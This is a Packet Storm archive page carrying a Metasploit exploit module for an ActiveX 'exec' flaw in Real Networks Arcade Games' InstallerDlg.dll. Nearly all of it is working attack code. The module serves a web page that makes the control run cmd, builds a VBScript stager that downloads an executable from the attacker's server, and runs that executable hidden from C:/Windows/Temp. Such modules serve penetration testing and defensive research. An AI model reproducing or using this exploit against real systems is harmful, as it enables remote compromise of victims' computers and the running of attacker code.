what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution

Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution
Posted Apr 9, 2011
Authored by rgod, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability in Real Networks Arcade Game's ActiveX control. The "exec" function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands on the victim machine.

tags | exploit, remote, arbitrary, activex
advisories | OSVDB-71559
SHA-256 | 8e0b21948326bf7dcfead8b16e89ae5430d77ad38d73a587297aaf84585e210b

Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution

Change Mirror Download
##
# $Id: real_arcade_installerdlg.rb 12286 2011-04-09 18:24:43Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution',
'Description' => %q{
This module exploits a vulnerability in Real Networks Acrade Game's ActiveX control. The "exec"
function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands
on the victim machine.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', #Initial discovery, poc
'sinn3r', #msf
],
'Version' => '$Revision: 12286 $',
'References' =>
[
[ 'OSVDB', '71559' ],
[ 'URL', 'https://www.exploit-db.com/exploits/17105/' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', {} ],
],
'DisclosureDate' => 'Apri 3 2011',
'DefaultTarget' => 0))
end

# Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in
# either the payload or the vbs script. To avoid this problem, I ended up writing this custom routine
# that only uses one echo.
def build_vbs(url, payload_name, stager_name)
name_xmlhttp = rand_text_alpha(2)
name_adodb = rand_text_alpha(2)

tmp = "#{@temp_folder}/#{stager_name}"

vbs = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") "
vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"https://#{url}\"\",False : #{name_xmlhttp}.send"
vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") "
vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
vbs << ": #{name_adodb}.SaveToFile \"\"#{@temp_folder}/#{payload_name}.exe\"\",2 "
vbs << ": CreateObject(\"\"WScript.Shell\"\").Run \"\"#{@temp_folder}/#{payload_name}.exe\"\",0 >> #{tmp}"

return vbs
end

def exploit
@payload_name = rand_text_alpha(4)
@temp_folder = "C:/Windows/Temp"
super
end

def on_request_uri(cli, request)
if request.uri =~ /\.exe/
print_status("Sending payload to #{cli.peerhost}:#{cli.peerport}...")
return if ((p=regenerate_payload(cli)) == nil)
data = generate_payload_exe( {:code=>p.encoded} )
send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
return
end

# Payload's URL
payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"

# Create the stager (download + execute payload)
stager_name = rand_text_alpha(6) + ".vbs"
stager = build_vbs(payload_src, @payload_name, stager_name)

html_obj_name = rand_text_alpha(6)

html = <<-EOS
<html>
<object classid='clsid:5818813E-D53D-47A5-ABBB-37E2A07056B5' id='#{html_obj_name}' />
</object>
<script language='vbscript'>
#{html_obj_name}.Exec "cmd","/c #{stager}",1,1,""
setTimeout "x=1", 3000
#{html_obj_name}.Exec "cmd","/c start #{@temp_folder}/#{stager_name}",1,1,""
</script>
</html>
EOS

# Remove extra tabs
html = html.gsub(/^\t\t/, "")

print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close